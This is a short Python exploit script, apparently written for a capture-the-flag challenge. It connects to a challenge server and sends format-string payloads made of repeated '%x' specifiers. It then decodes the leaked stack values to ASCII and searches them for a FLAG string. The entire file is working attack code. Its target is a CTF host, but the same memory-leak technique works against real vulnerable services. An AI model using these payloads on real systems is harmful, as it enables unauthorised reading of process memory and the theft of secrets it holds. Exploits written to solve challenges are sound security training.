exploit5.py

import socket
import re

# Function to decode hexadecimal to ASCII
def hex_to_ascii(hex_values):
    ascii_output = ""
    for hex_val in hex_values:
        try:
            ascii_output += bytes.fromhex(hex_val).decode("utf-8", errors="ignore")
        except ValueError:
            pass
    return ascii_output

# Search for FLAG pattern in decoded ASCII
def search_flag(decoded_output):
    match = re.search(r"FLAG\{.*?\}", decoded_output)
    return match.group(0) if match else None

host = "challenges.0x0539.net"
port = 7070

max_payload_length = 20
for length in range(10, max_payload_length + 1, 5):
    payload = "%x " * length  # Generate payload of variable size
    print(f"\n[+] Testing Payload with {length} entries")

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        banner = s.recv(1024).decode()
        print("Banner:\n", banner)

        s.sendall(payload.encode() + b"\n")
        response = s.recv(4096).decode()
        print("\nRaw Response:\n", response)

        # Extract and decode stack values
        hex_values = re.findall(r"[0-9a-fA-F]{8}", response)
        print("\nHex Values:\n", hex_values)

        decoded_output = hex_to_ascii(hex_values)
        print("\nDecoded ASCII:\n", decoded_output)

        # Search for FLAG
        flag = search_flag(decoded_output)
        if flag:
            print(f"\n[!] FLAG FOUND: {flag}")
            break